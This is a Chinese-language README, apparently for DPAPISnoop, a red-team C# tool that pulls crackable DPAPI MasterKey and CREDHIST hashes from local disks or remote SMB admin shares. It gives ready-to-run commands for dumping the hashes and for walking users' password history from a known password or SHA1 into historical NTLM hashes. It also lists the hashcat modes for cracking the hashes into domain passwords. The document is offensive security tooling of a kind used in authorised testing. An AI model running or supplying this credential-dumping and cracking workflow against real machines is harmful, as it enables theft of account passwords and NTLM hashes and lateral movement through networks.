一个 C# 工具,用于从用户 MasterKey 和 CREDHIST 文件中提取可破解的 DPAPI 哈希。
同时针对 MasterKey($DPAPImk$)和完整 CREDHIST 链($credhist$),支持本地路径和远程 SMB 共享。
$DPAPImk$)每个用户的 MasterKey 位于 \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\ 下。
破解后可获得用户的域密码,并解锁该时期内所有受 DPAPI 保护的数据。
哈希版本取决于操作系统:
Context 字段编码账户类型:
$credhist$)每个用户 CREDHIST 文件中的每个条目。每个条目都用前一个密码加密,解密后得到其前一个密码的 SHA1 + NTLM。
破解该链可重构所有历史密码及其 NTLM 哈希。
条目在用户名字段中进行了标记,因此输出是自描述的:
alice[current]:$credhist$*... ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*... ← encrypted with the previous password
alice[prev2]:$credhist$*...
条目哈希版本取决于操作系统:
-m 15920 破解-m 15930 破解DPAPISnoop.exe [rootDir] [options]
如果省略,rootDir 默认为 %HOMEDRIVE%。完全支持 UNC 路径。
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe
# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!
# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# Remote share — dump everything
DPAPISnoop.exe \\server01\c$
# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 domain post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 entries (≥ Win10 20H2)
破解后,将恢复的密码传回 DPAPISnoop 以遍历完整链,并打印每个历史 SHA1 和 NTLM:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
查看 README
这项研发工作是人与 AI 辅助工具协作完成的,使用了 AI 模型 GPT-5.5 和 Claude Sonnet 4.6。
AI 模型被用于辅助代码生成和逆向工程支持。
然而,所有研究方向、验证、调试、测试、安全分析和最终技术决策均由人类(Imdefinelyhuman)完成。
所有生成的内容、代码和分析,均作为迭代式人工引导工作流的一部分,经过人工审查、验证、修改和集成。
上面的说法也等于委婉地告诉你:代码存在 bug,使用风险自负!
Lefteris (lefty) Panos @ LRQA Red Team 2026
| 标志 | 描述 |
|---|
| (none) | 转储我们用户的 $DPAPImk$ 和 $credhist$ |
--credhist-only / -c | 跳过 MasterKey 输出;仅输出 $credhist$ 行 |
--password <plaintext> / -p | 从当前明文密码开始遍历 CREDHIST 链 |
--sha1 <40-hex> | 从当前密码的已知 SHA1 开始遍历 CREDHIST 链 |
--pre1607 | 对域 MasterKey 哈希输出上下文 2(域 pre-1607)而不是上下文 3 |